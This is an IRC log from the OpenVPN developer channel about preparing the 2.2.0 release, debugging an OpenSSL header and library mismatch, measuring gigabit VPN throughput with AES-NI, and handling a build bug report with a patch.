ok 04:49 <@mattock> winxp 32-bit worked fine, too 04:49 <@dazo> janjust: so if you want to finally publicly embarrass us ... now is the time ;-) 04:52 <@mattock> ok, all files where they're supposed to 04:53 <@mattock> staging server prepared, windows tested 04:53 <@mattock> only missing GPG signatures and Windows installer signing 04:53 <+janjust> downloaded 2.2.0, installed on my xp vm ; now running some tess 04:53 <@mattock> btw. the downloads page will be pretty empty... only 2.2.0 and 2.1.3 (last Win2k version) there 04:53 <@mattock> plus links to older downloads, of course 04:54 <@dazo> sounds like a good plan :) 04:54 <@mattock> btw. dougy provided us with a Scientific Linux 6.0 VM 04:54 <@mattock> for cross-compilation and buildslave purposes 04:54 <@dazo> mattock: even though, we probably should have 2.1.4 available there as well, for those non-win2k users 04:54 <@dazo> awesome! 04:55 <@mattock> dazo: do if we want to keep "oldstable" available? 04:55 <@mattock> do we... 04:55 <@dazo> I'd say keep "oldstable" available until 2.2.1 or a later release comes 04:56 <@mattock> ok, I'll make some edits then 04:57 <@dazo> mattock: but we don't need to "promote" 2.1.3 with such a big block .... (/me don't know how it really is now) ... just a "Running Windows 2000, then you're condemned to use the 2.1.3 release" notice 04:58 <@mattock> dazo: yep, I made sure(?) nobody downloads it by mistake 04:58 <@dazo> :) 04:59 <@mattock> maybe the section for 2.1.4 should be "less appealing" than for 2.2.0 04:59 <@dazo> agreed 04:59 <@mattock> lemme take screenshot 05:01 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has joined #openvpn-devel 05:01 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 05:01 * dazo heads out for lunch 05:02 <@mattock> here's what we have now: http://build.openvpn.net/openvpn-downloads-page.png 05:02 <@mattock> I'll add a small section for 2.1.4 05:03 <@mattock> the "Older releases" page has been cleaned up significantly, too 05:03 <@dazo> yeah, similarly looking section as 2.1.3 got would be good 05:03 <@mattock> I'll do that after lunch, then 05:10 <+janjust> XP tests: 2.2 client mode works; 2.2 server mode starts up without any issues 05:20 <+janjust> mattock: regarding the screenshot: would it make sense to list the community forum as well as a point for asking questions? it seems the SF mailing list is used less these days 05:46 <+janjust> Win7 64test: 2.2 client udp mode works 05:47 <@cron2> janjust: on a completely different tangent - you live in Amsterdam, do you? 05:47 <+janjust> I work in amsterdam, cron, but I live in Utrecht (which is ~30 km away) 05:47 <@cron2> ah 05:48 * cron2 is in Amsterdam next week (RIPE meeting) 05:48 <+janjust> ah in Krasnapolsky ... 05:49 <@cron2> yep (but I'm not staying there, too expensive) 05:49 <+janjust> hehe I can imagina 05:49 <+janjust> imagina->imagine 05:50 <@cron2> 200+ EUR/night 05:50 <+janjust> yep , totally ridiculous ; are you here from 2 may until the 6th? 05:51 <@cron2> I'll fly over on Saturday evening (queen's day... but that was just because I didn't know better) and will stay until Friday 05:51 <+janjust> hehe queen's day is gonna be a mess in amsterdam - it's fun to be around though, if you can stand large masses of people 05:52 <@cron2> well... we have Oktoberfest... 05:52 <+janjust> if you have some time next week, do drop by 05:52 <+janjust> we've got tons of computer toys to show off around here ;) 05:53 <@cron2> heh :-) - I've visited Nikhef some 10 years ago (at that time, the RIPE meeting took place at university buildings) 05:53 <@cron2> won't have time for a visit to Nikhef this time, but was thinking about dinner & a few beers, or so 05:54 <+janjust> sounds like a plan! 05:54 <@cron2> cool :-) - I don't know my evening schedule yet (there's a few "pending" things), but will mail you 05:55 <+janjust> alright, I'll wait for your email; I'll be in amsterdam mon-tue-wed (2/3/4) 05:56 <@cron2> perfect - these are about the available candidates :-) - thursday is "big RIPE dinner" 05:56 <+janjust> heeh sounds like a standard conference to me... 05:57 <@cron2> regarding the evenings ("good food and lots of drinks") definitely :-) the day part has a stronger focus on the "social networking" bit than most conferences 05:58 <+janjust> isn't "good food and lots of drinks" == "social networking" ? 05:58 <@cron2> we also have lengthy coffee and lunch breaks :) 05:59 <+janjust> lol 05:59 <+janjust> talking about lunch breaks : I'm out for lunch 05:59 <@cron2> enjoy! 05:59 <+janjust> thx 06:04 <@mattock> janjust: re: forums: good idea, I'll do that 06:12 <@dazo> mattock: I see the smoke testing looks good ... so should I publish 2.2 in the git tree? ... Or should we wait for signing? 06:18 <@mattock> I'd wait for signing, just in case 06:18 <@mattock> I'll mail James now 06:18 <@dazo> goodie, then I'll hold the horses a bit longer :) 06:24 <@mattock> mail sent 06:48 <@mattock> janjust: did you respond to my "gigabit optimization to the wiki" mail? 06:48 <+janjust> mattock: not yet, I do intend to write the wiki entry but I want to run one more test before writing it 06:49 <@mattock> janjust: ok, no hurry 06:49 <@mattock> I have to say you managed to get pretty impressive improvements 06:52 <+janjust> but it looks like the openvpn encryption interface needs to be improved 06:52 <+janjust> turn on any kind of encryption and performance drops from 940 Mbps to 370 Mbps (or lower) 07:24 < Dark-Fx> janjust: Are you using proper MTU sizes? 07:29 <+janjust> define "proper" , Dark-Fx 07:29 <+janjust> for my gigabit tests I was using mtu sizes of 6000 and 9000 07:29 <+janjust> sort of like 'jumbo frames' 07:29 < Dark-Fx> Proper as in you're not forcing fragmentation because of the additional overhead 07:34 <+janjust> I'm using --tun-mtu 6000 --fragment 0 --mssfix 0 to disable all fragmentation - I'd rather have the OS take care of that 09:22 <@cron2> mmmh. what is our release plan for 2.3? 09:22 <@cron2> Already got the first complaint that 2.2RC2 still doesn't do "v6 things"... :-o 09:23 < Dark-Fx> do the v6needful 09:23 < Dark-Fx> cron2: my tap devices spam RA just fine 09:25 <@dazo> cron2: I'd say we should be able to start the beta round in a 2-3 months ... then 3 months with betas and probably 1-2 months RC 09:26 * dazo is *not* committing to such a schedule, just as a discussion starter 09:26 <@cron2> Dark-Fx: heh, yes, on TAP, things will just work 09:27 <@cron2> how do you get the RAs on the tap? bridge to eth*, or run local radvd? 09:27 < Dark-Fx> tun devices are worthless IMO. I don't get why anyone would use them. 09:27 <@cron2> dazo: yes, I think this is reasonable, about 6 months 09:27 <@cron2> Dark-Fx: less overhead, to start with 09:27 < Dark-Fx> radvd is running on my vpn server, but it's also all bridged interfaces 09:27 <@cron2> why transport around an ethernet header if you don't need one? 09:27 <@cron2> why transport around broadcasts if you don't want to see them? 09:29 <@cron2> ok, need to run to catch a train, bbl.. 09:29 < Dark-Fx> you'd cry if you saw my setup 09:29 < Dark-Fx> bye 09:31 <@cron2> Dark-Fx: I'm not saying TAP doesn't have its merits :-) - there's sometimes unavoidable reasons for it 10:10 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 11:12 -!- andj_afk is now known as andj 12:00 -!- dazo is now known as dazo_afk 12:09 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:09 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:22 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 13:05 -!- Netsplit *.net <-> *.split quits: +krzee 13:07 -!- Netsplit over, joins: krzee 13:07 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:29 <@mattock> jamesyonan: did you get my mail? 13:29 <@jamesyonan> yes I did 13:29 <@jamesyonan> I'll get those files signed later today 13:46 <@mattock> ok, great! 15:21 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 16:52 <@vpnHelper> RSS Update - testtrac: Solved hidden merge conflicts between master and svn-branch-2.1 <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=0b6450c93f9efb51ac089dbe0a43b139bc0b89bd> || Merge branch 'svn-branch-2.1' into merge <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=20b18fd799e2ea9d0651f3ef913dd9ce2e481471> || Fixed compile issues on Windows. 22:40 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 22:40 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 22:40 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Wed Apr 27 2011 00:54 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Ping timeout: 240 seconds] 01:02 -!- Essobi [~Essobi@74.128.53.127] has joined #openvpn-devel 01:35 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 01:50 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 03:28 -!- dazo_afk is now known as dazo 03:32 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 03:57 <@dazo> mattock: I managed to merge in Jame's 2.1 branch from SVN yesterday ... just beware that win/sign.py in master now got modified, you might want to review commit 1f001994070267d9d9016f0e5f13302de31e1284 04:07 <@dazo> cron2: I had to solve quite some merge conflicts when merging in James' SVN branch .... could you review commit 20b18fd799e2ea9d0651f3ef913dd9ce2e481471 (the merge commit), just to check that I haven't messed up the IPv6 stuff? 04:08 * dazo is going to compile master now, and test that locally for some time - including IPv6 traffic via a tun device 04:34 <@mattock> dazo: ok, will do 04:35 <@mattock> actually, I don't use sign.py at all 04:35 <@mattock> I think James needs to review the merged branch to see his builds work as excepted 04:36 <@dazo> ahh, okay ... less dangers for us :) 04:41 <@mattock> dazo: so there were no other changes to the win/ directory? 04:42 <@dazo> nope 04:42 <@dazo> not which had conflicts, though ... double checking 04:43 <@dazo> confirmed, no other win/ changes 04:48 <@mattock> excellent! 04:55 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has quit [Quit: ?OUT OF DATA] 04:56 <@cron2> dazo: uh, could you please mail me a reminder (and how to "review this commit" instructions) about that? I'm at a meeting right now and won't have time to look into this before tomorrow evening 04:56 <@dazo> cron2: sure can do! 04:56 <@cron2> thanks 05:14 <@mattock> everything signed 05:18 <@dazo> \o/ 05:18 <@dazo> so that means I can begin to push things? 05:18 * dazo will do that after lunch 06:12 <@mattock> yep 06:12 <@mattock> everything is set for release, except the downloads page 06:12 <@mattock> I'll ask if Frank could publish it at ~18:30 UTC 06:12 <@mattock> or maybe a little later 06:21 <@dazo> mattock: If you want to mention the new git URL in the announcement, it will be: git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git 06:23 <@dazo> I'll be pushing out release/2.1 and release/2.2 branches to that tree as well, the rest I'll leave in openvpn-testing.git for now 06:23 <@mattock> ok, I'll add that 06:24 <@mattock> I also added list of developer and user support channels 06:24 <@dazo> goodie! 06:24 <@dazo> (and probably don't mention #openvpn-devel in the announcement, let #openvpn kick people over here when it is development related) 06:33 <@mattock> dazo: just sent you a preview of the announcement 06:33 * dazo checks 06:33 <@mattock> I think the issue with people coming to #openvpn-devel was caused by that being the only IRC channel listed on the downloads page 06:34 <@mattock> you had to do some digging to find the #openvpn channel 06:34 <@mattock> that's fixed now 06:35 * dazo is not quite convinced ... but we can try and see how that works out 06:35 <@mattock> if we still get support requests here, we can remove the mention of #openvpn-devel from the download page 06:36 <@mattock> that, combined with advertising #openvpn channel should do the trick 06:36 <@dazo> yeah 06:38 <@dazo> mattock: I will follow up on your e-mail on -devel with more git tree details 06:39 <@dazo> and tomorrow, we should probably discuss openvpn.git vs openvpn-testing.git ... and what to do with the allmerged branch 06:41 <@dazo> mattock: one more thing ... the web URL for the new git tree, if you want that: http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn.git;a=summary 06:41 <@vpnHelper> Title: SourceForge - openvpn/openvpn.git/summary (at openvpn.git.sourceforge.net) 06:42 <@dazo> ecrist, krzee: can you guys add that to the vpnHelper tracking as well? 06:43 <+ecrist> yeah, let me look into it 06:44 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 06:45 <@mattock> dazo: sounds like a plan 06:45 <@mattock> I asked Frank to publish the downloads page at 12AM PDT, which is 19:00 UTC 06:46 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 06:46 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 06:47 <+ecrist> dazo: done 06:47 <@dazo> ecrist: thx! 06:47 <+ecrist> it takes too long to figure out the command syntax, it's just easier to edit the config. 06:47 <@dazo> mattock: goodie! I'll update the developer page on the wiki now, so that it has some info 06:47 <@dazo> :) 06:54 <@mattock> dazo: good, I was just about to do that :) 06:57 <@mattock> ecrist: I like your avatar: https://forums.openvpn.net/topic7675.html 06:57 <@vpnHelper> Title: OpenVPN Support Forum New Mod: maikcat : Announcements (at forums.openvpn.net) 06:58 <@mattock> as "carrier-grade" as "if it builds, ship it" 06:58 <@mattock> :) 06:58 <+ecrist> :) 07:33 <@dazo> the development docs was rather dated now ... quite a lot has happened during the last year :) 07:33 <@dazo> (and I'm only looking at the "Code repositories" section 07:33 <@dazo> now 07:39 <@dazo> mattock: Developer docs updated ... if you have time to review it, that would be good 07:45 <@dazo> ecrist: for now, I think it would be good to change the snapshot script you run to use the 'master' branch .... the allmerged branch is currently in a flux - we need to figure out the purpose of this branch 07:45 <@dazo> all accepted feature branches are now in master, and I will need to redo the allmerged branch with this release 07:46 <@dazo> (and 'master' is now the upstream development branch) 07:52 <+ecrist> ok 07:52 <+ecrist> # Which remote branch to base the local allmerged branch on 07:52 <+ecrist> GIT_REMOTEBRANCH=origin/allmerged 07:52 <+ecrist> # Local name for the allmerged branch 07:52 <+ecrist> GIT_BRANCH=allmerged-$(date +%Y-%V) 07:52 <+ecrist> so, I should change orgin/allmerged to origin/master 07:53 <+ecrist> and GIT_BRANCH to master-$(date blah balh) 07:53 <+ecrist> right? 07:53 <+ecrist> also, I assume this url is wrong? 07:54 <+ecrist> git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git 07:55 <+ecrist> my changes seem to have worked 07:58 <@mattock> dazo: I'll take a look now 08:03 <+ecrist> dazo: my snapshot generator is updated 08:07 <@dazo> ecrist: yeah, that sounds correct ... you don't need to change the git URL ... I'll make sure the master branches on both repositories are in synch 08:09 <+ecrist> I changed the URL 08:46 <@mattock> dazo: I'm making some changes to developer documentation 08:47 <@dazo> mattock: feel free :) 08:47 <@dazo> ecrist: okay, no worries ... it'll work anyway 08:53 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 08:53 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 08:53 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 08:53 -!- mode/#openvpn-devel [+v janjust] by ChanServ 08:57 <+janjust> question for the developers: did anybody ever run into core dumps when linking openvpn against openssl 1.0.0a ? 08:57 <@dazo> I haven't seen that before 08:58 <@dazo> but I recall someone who had such issue once ... forgotten whom 08:58 <+janjust> actually, the link goes fine, but as soon as I run 'openvpn --testcrypto' I get coredumps and memory corruptions; this happened to me now on 2 centos 5 64bit boxes 08:58 <@dazo> ahh ... 08:58 * dazo tries to remember ... some bells are ringing in the distant memory 08:58 <+janjust> relink against the system openssl (0.9.7e IIRC) and the command runs fine 08:59 <@dazo> It was a combination of openssl version and some 32/64bit issues and/or compiler flags ... but these details are very fuzzy for me now 09:00 <@dazo> janjust: check that you have the proper openvpn-devel package installed 09:00 <@dazo> and remove the 32bit openssl packages if you have them installed 09:00 <@dazo> (and if you don't wreck something by doing that) 09:01 <+janjust> let me check 09:01 <@dazo> another try is to add '-m32' to CFLAGS 09:02 <+janjust> I removed the 32bit openssl-devel package and rebuilt openvpn - no change 09:02 <@dazo> what does ldd on the binary tell? 09:04 <+janjust> http://pastebin.com/R52SRukX 09:04 <@mattock> dazo: I cleaned up DeveloperDocumentation page, but it's not yet 100% up-to-date 09:04 <@mattock> I'll continue tomorrow 09:04 <@dazo> mattock: thx! 09:06 <@dazo> janjust: you really get two version lines? (line 3 and 4) 09:06 <+janjust> I think so, yeah 09:06 <@dazo> that's really odd 09:06 <+janjust> I know, that also happened on both boxes 09:07 <+janjust> might be related to the --test-crypto stuff, however 09:08 <@dazo> janjust: that's a --test-crypto artefact ... I have it here as well, on a working version ... even with latest master and v2.1.1 09:09 <@dazo> janjust: can you please try this against openssl-1.0.0d? ... just to validate if it is openssl or something else? 09:09 <+janjust> it crashes with openssl 1.0.0d as well 09:09 <+janjust> but let me check one more thing 09:09 <@dazo> hmm 09:09 <@dazo> have you also tried to compile 0.9.7e yourself too, and linked against that one? 09:10 <@dazo> well, that won't necessarily cut it ... as the centos RPM's have additional patches, with security fixes 09:11 <@dazo> but looking at the compile config from the openssl.spec file might give some clues 09:12 <+janjust> ok, I just rebuilt openssl 1.0.0d again without the aesni patch - same issue 09:12 <+janjust> i was hoping for an easy fix here ;) 09:13 <@dazo> :) 09:13 <@dazo> I have a feeling this is somewhat related to gcc/ld as well 09:14 <+janjust> of course, the same thing "just works" on fedora 13/14 64bit 09:15 <@dazo> yeah 09:15 <@dazo> janjust: do you have a chance to test this on a proper RHEL5 installation? 09:16 <@dazo> I have a box available if you can provide a tarball with all ready for a build 09:16 <+janjust> I don't have a proper EL5 here , just SL5 and CentOS5 09:16 <@dazo> just to figure out if it is RHEL5/CentOS5 generic issue ... 09:17 <+janjust> I'm rebuilding the exact same sources on a fedora 14 box now 09:17 <+janjust> just to verify 09:19 <@dazo> as fedora 14 uses a newer glibc, gcc and ld ... it might not trigger this ... while CentOS and RHEL are pretty tight - still slightly different and SL is more loosely ABI compatible compared to RHEL/CentOS 09:23 <+janjust> ah POOP! 09:23 <+janjust> got it 09:23 <+janjust> the --with-ssl-headers was specified wrongly - the compilation picked up the old include stuff 09:23 <@dazo> ahh! 09:23 <@dazo> that makes sense 09:23 <+janjust> yes but of course there were zero warnings, it's just that I compiled against openssl 0.9.7e and linked against 1.0.0d 09:24 <@dazo> then some structs might be different ... and the compiler calculates the wrong sizes and the pointers go wild ... and whoops, memory corruption 09:24 <@dazo> as long as the functions and the arguments to functions do not change, it won't be any warnings 09:24 <@dazo> but in the moment structs changes sizes ... this happens easily 09:25 <+janjust> yep.. alright, on to the next step: gigabit connection using aesni for encryption :) 09:25 <@dazo> whooo ... neat!! 09:25 <+janjust> that's my last test before writing up the wiki 09:26 * dazo is looking fwd to that - just like a little child on Christmas eve 09:26 <@dazo> :) 09:26 <+janjust> lol 10:03 <+janjust> here're some raw numbers; the test was done over a gigabit link, one end an intel i5-560M , the other end an intel X5660 10:03 <+janjust> using blowfish (and --tun-mtu 9000 --fragment 0 --mssfix 0) : ~ 270 Mbps 10:04 <+janjust> using aes-128-cbc (and --engine aesni from openssl 1.0.0a) from i5-560 to X5660: 748 Mbps 10:04 <+janjust> using aes-128-cbc (and --engine aesni from openssl 1.0.0a) from X5660 to i5-560M: 885 Mbps 10:04 <+janjust> using aes-256-cbc (and --engine aesni from openssl 1.0.0a) from i5-560 to X5660: 543 Mbps 10:04 <+janjust> using aes-256-cbc (and --engine aesni from openssl 1.0.0a) from X5660 to i5-560M: 878 Mbps 10:04 < Dark-Fx> you have information about the cpu usages in each case as well? 10:04 <+janjust> Suh-weet! 10:05 <+janjust> hehe good question; on the i5-560 one core was at 100% CPU 10:05 <+janjust> that's a dual core, dual threaded CPU 10:05 < Dark-Fx> i5's have turbo boost 10:06 < Dark-Fx> I'm fairly sure the ssl stuff is single threaded, so you'll get more performance if you've only got one active core. 10:06 <+janjust> yep; this just shows that '--engine aesni' does have an effect for linespeeds > 200 Mbps 10:07 <+janjust> BTW: iperf performance over the "raw" line was 930 - 940 Mbps 10:08 <+janjust> so an openvpn link between an i5-560 and an x5660 is still not able to max out a gigabit line: I'd say that's a performance bottleneck inside of openvpn 10:09 <+janjust> "raw" openssl speed suggests that you should be able to max out such a line using the 'aesni' engine 10:09 < Dark-Fx> That's still quite a lot of data to encrypt on CPU 10:10 < Dark-Fx> what operating system? 10:10 <+janjust> x5660; Centos 5 (kernel 2.6.19) ; i5-560: Fedora 14 (kernel 2.6.35) 10:10 <+janjust> oops that's 2.6.18 for the centos box 10:12 <+janjust> let me test again to measure the CPU load on the X5660 10:19 <@dazo> janjust: did you really get 878Mbps with aes-256-cbc encryption via an OpenVPN tunnel? 10:19 <@dazo> (using the accelerator features) 10:19 < Dark-Fx> few things to play with might be comp-lzo, sndbuf, rcvbuf, and tcp-queue-limit 10:20 <@dazo> disable comp-lzo would remove quite some overhead 10:22 <@dazo> from 878Mbps to 930-940Mbps, that's going to be pretty tough job 10:22 < Dark-Fx> I'd make some recommendations on tcp tweaks to make, but I can't find my cheatsheet 10:23 <@dazo> janjust: what would the performance be on a openvpn compiled without SSL support? (I believe it is possible to compile it) 10:23 <@dazo> Dark-Fx: TCP may add a little bit more overhead than pure UDP, though 10:24 < Dark-Fx> Oh, right, I just assumed TCP for some reason. Guess most would be using UDP 10:25 <+janjust> back... I did not use comp-lzo; I was using a UDP tunnel, static keys 10:25 <+janjust> (using certs does not make a difference) 10:25 <+janjust> CPU load wasn't too bad - I've got a graph from the system monitor on my laptop during the iperf test 10:26 <+janjust> also, 'top' on the X5660 reported a single CPU at ~ 37% 10:26 <@dazo> certs will give a tiny overhead, but only when the temporary session keys are exchanged ...after that, the tunnel is encrypted with a (temporary) static key 10:27 <+janjust> and dazo: yes, when the X5660 was doing the encryption part I got 878 Mbps 10:27 <+janjust> BTW X5660 = Intel hexacore CPU @ 2.80 GHz 10:28 <@dazo> I would say that's pretty impressive ... and I would expect that to indicate that openssl adds overhead when not being optimized 10:28 <@dazo> a considerable overhead 10:28 <+janjust> even switching to openssl 1.0 already increases performance for the aes ciphers 10:29 <+janjust> but the fact that the CPU is not maxing out suggests that there is a software bottleneck somewhere 10:29 <@dazo> hmmmmm ... I got an i5 540M on my laptop ... *checking F14 openssl build* 10:29 <+janjust> it does show that gigabit VPNs are possible using OpenVPN + the latest Intel CPUs :) (does AMD support AESNI?) 10:30 <@dazo> janjust: only AMD's based on Bulldozer 10:30 <@dazo> http://en.wikipedia.org/wiki/AMD_Bulldozer 10:30 <@vpnHelper> Title: Bulldozer (processor) - Wikipedia, the free encyclopedia (at en.wikipedia.org) 10:30 <+janjust> ah, I don't have a bulldozer here yet 10:33 <+janjust> dazo: regarding " what would the performance be on a openvpn compiled without SSL support? (I believe it is possible to compile it)" : if I use 'cipher none auth none' I can get 930 Mbps 10:34 <+janjust> so disabling all encryption stuff is enough to obtain full line speed (in clear text) 10:34 <@dazo> okay, so that is pretty much the raw iperf performance 10:34 <+janjust> close enough, indeed 10:35 <@dazo> then it really is openssl which is the bottleneck 10:36 <@dazo> some overhead with encryption is to be expected ... but from 878Mbps to ~2-300Mbps is a big step, only with using the hardware instructions 10:36 <+janjust> or the way openvpn tells openssl to encrypt a packet 10:37 <@dazo> well, it is not traditional SSL packets, it 10:37 <+janjust> it's a pipeline of data iperf->tun->openvpn->openssl encrypt >eth0 |||| eth0->openssl decrypt->openvpn->tun->iperf 10:38 <+janjust> somewhere along this pipeline there's a bottleneck: could be openssl itself or it is the way data is passed to and from the openssl encryption routines 10:38 <@dazo> actually, it is ->openvpn->openssl->openvpn->kernel/eth0 10:38 <+janjust> well I did not want to confuse you :P 10:38 <@dazo> heh :) 10:38 <@dazo> the key point is that openssl sends data back to openvpn which sends the data, encapsulated in a openvpn container - so that you can use SSL over UDP 10:39 <@dazo> as SSL is designed to be TCP only 10:39 <@dazo> (which is why some SSL proxies don't like OpenVPN over TCP ... as the same happens there) 10:41 <+janjust> I can do some more tests tomorrow; I already tested it a bit using non-aesni hardware 10:41 <+janjust> switching to 'dev tap' did not have an effect 10:41 <+janjust> 'dev tap' might mean larger packets, but it also means openvpn has to do less work: no stripping of ethernet headers etc, just pass along the frame 10:41 <@dazo> that's interesting 10:42 <+janjust> I did not compare openvpn-over-tcp to openvpn-over-udp yet; will do so tomorrow 10:42 <@dazo> however, the stripping of ethernet headers in tun/tap ... that's quite different between the OSes ... in some OSes the TUN/TAP driver does it in kernel space it seems, and other OSes user-space needs to do it, iirc 10:43 <+janjust> kernel-space, user-space: somebody needs to do it and with 'dev tap' it's not required 10:44 <+janjust> ah well, enough for today: I will write things up tomorrow on the wiki 10:44 <+janjust> gotta go now 10:46 <@dazo> cool ... openssl is compiled with aesni support by default on F14 10:47 <+janjust> dazo: yep; I found out when writing my book ;) it took me quite some time to figure out why the heck my laptop was so fast (on F13 at the time) 10:47 <@dazo> heh :) 10:47 <@dazo> ahh, it chose it by default? 10:47 * dazo thought you had to add --engine aesni 10:47 <+janjust> yep on F13 it chose it by default (when using 'openssl speed') 10:48 <+janjust> for openvpn you do need to add '--engine aesni' 10:48 <+janjust> bye 10:48 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 11:18 <@cron2> dazo: it's always the kernel 11:18 <@cron2> (stripping the ethernet headers from tun, that is) 11:19 <@dazo> oh ... I thought I saw some different approaches to that when quickly reading through tun.c 11:19 <@cron2> actually, for a tun interface, there are no ethernet headers to strip in the first place - it's not an ethernet interface, so nobody is attaching eth headers 11:19 <@cron2> (on *Windows*, this is not true - for windows, it's always "ethernet", and the tap driver will strip the headers in tun mode) 11:21 <@dazo> but why are there then different write_tun() and read_tun() functions for almost each platform? 11:21 <@cron2> the difference between tun and tap is larger than "just ethernet headers", though - an ethernet interface will do ARP resolution before sending packets across, while a tun is just a dark pipe 11:21 <@dazo> yeah 11:22 <@cron2> dazo: well, most of them are not actually different, but whoever coded tun.c thought it would be a good idea to have some sort of "repetitive block of functions" 11:22 <@cron2> for tun, there's mostly two models - "take the packet and stuff it in" and "take the packet and add 4 bytes for the address family, then stuff it in" 11:23 <@cron2> and same thing on read - "read, pass on" and "read, strip 4 bytes, pass on" 11:23 <@dazo> well, there are quite some repetitions there, true ... but some of them are considerably different 11:23 <@cron2> they are? let me check :) 11:23 <@cron2> well, win32 is very different, of course 11:24 <@dazo> the most obvious changes are often related to if it is tun or tap 11:24 <@dazo> which is not that odd ... but it looks like some platforms expect to see IP headers ... while some not 11:24 <@cron2> linux: if (ipv6) do {4-byte thing} 11:24 <@cron2> solaris: do getmsg()/putmsg() - ok, haven't noticed that one yet :) 11:25 <@cron2> OpenBSD: if (tun) do {4-byte thing} else { just stuff} 11:25 <@dazo> same with netbsd multi af 11:25 <@cron2> NetBSD: same thing for 4.0 and up, for older NetBSD {just stuff} 11:26 <@cron2> FreeBSD: as OpenBSD 11:26 <@cron2> Dragonfly: as OpenBSD 11:26 <@cron2> Darwin: always {just stuff} 11:26 <@cron2> yeah, enough small differnces to be annoying 11:27 <@dazo> yeah :) 11:28 <@dazo> One evening I was wondering about splitting this up tun.c into more pieces, and have the autotools figure out which tun-{platform}.c to link ... instead of the enormous #ifdef regime 11:28 <@dazo> mainly to be able to split out the tun parts which really belongs to openvpn and to split out what's needed to build the wintap driver 11:29 <@cron2> I'm not sure whether this would make life easier or harder - I think it would cause even more code duplication 11:29 <@cron2> is there anything in tun.c that is needed for tap driver building? I don't think so 11:30 <@dazo> I thought I remembered someone said there was some dependencies to tun.c ... maybe it was tun.h 11:31 <@cron2> the Linux code needs a cross-check with the kernel side of things - unlike everybody else, the extra-4-byte-thingie is depending on tt->ipv6, not on "if (tun)", and I wonder why that is not breaking for tap 11:31 <@dazo> I'd like to get the wintap driver out of the openvpn tree, so that openvpn can be more pure ... the same for the windows build tools, to avoid bumping openvpn version numbers when we need to ship a new driver or the win build system got issues 11:32 <@dazo> yeah, this whole extra-4-byte-thingie was what made me realise I need to study this code a lot more 11:32 * cron2 likes having everything required to build a package inside that source tree 11:32 <@dazo> I'll give you that in the end ... git submodules does that for you ;-) 11:32 <@cron2> the comment inside the OpenBSD block explains the background quite well 11:32 -!- gustavoz [~gustavoz@host97.186-109-1.telecom.net.ar] has joined #openvpn-devel 11:33 <@cron2> even if it's not accurate "OpenBSD has a slightly incompatible TUN device"... 11:33 < gustavoz> good morning/afternoon. i've found a slight bug in the 2.2.0 release when building a minimal openvpn. 11:33 <@cron2> all the platform specific code needs review, and re-working of the *comments* 11:33 <@dazo> gustavoz: neat! what did you find 11:33 <@cron2> gustavoz: there are no bugs! 11:33 <@dazo> lol 11:33 < gustavoz> cron2: heh 11:33 <@cron2> but indeed, what did you find? 11:34 < gustavoz> dazo: tmp_dir in options.h is conditional on some #if's but it's used regardless 11:34 < gustavoz> http://pastebin.com/ZsEPXMNH 11:34 <@dazo> ugh 11:35 <@dazo> crap 11:35 < gustavoz> that's with --enable-small --disable-ssl --disable-crypto --disable-lzo and defaults 11:35 <@dazo> huh ... no, client-only? 11:35 <@cron2> it is optional? oh, indeed 11:35 < gustavoz> http://pastebin.com/ZkFmK697 fixes it 11:36 <@dazo> hmm 11:36 <@dazo> gustavoz: can you try without --disable-ssl and --disable-crypto? 11:36 < gustavoz> dazo: probably but it won't suit the buildroot model of keeping things small :) 11:37 <@dazo> yeah, I know ... just need to check one detail 11:37 * dazo wonders if one or both of these disables P2MP and/or P2MP_SERVER 11:37 < gustavoz> dazo: on BR with openssl enable (thus kicking the --disable-crypto/ssl options out) it works fine 11:37 < gustavoz> *enabled even 11:37 <@cron2> dazo: even so it would break for --disable-server 11:37 <@dazo> yeah, it would 11:37 <@dazo> okay ... gotta fix that in a 2.2.1 release then 11:38 <@cron2> bad dazo, no soup for you 11:38 <@dazo> dang, this one came a bit too early :) 11:39 <@dazo> gustavoz: you want to submit a complete patch? or whom can I give credit for reporting this issue? 11:39 <@dazo> (submitting patch = git commit + git format-patch) 11:40 <@dazo> duh 11:40 <@dazo> I should read the last pastebin more carfully 11:40 < gustavoz> :) 11:41 < gustavoz> it's not git-proper actually but it's easy to do so 11:42 <@dazo> Let's see how easily this one applies ;-) 11:43 < gustavoz> using fuzz 11:43 < gustavoz> pretty directly against git 11:43 <@dazo> fuzz? 11:44 < gustavoz> i mean with offset 11:45 <@dazo> ahh, yeah :) 11:45 < gustavoz> gimme a few that i'll format-patch against git, this patch was hand-crafted for testing 11:45 <@dazo> http://pastebin.com/9giCSjvu 11:45 < gustavoz> cool then :) 11:45 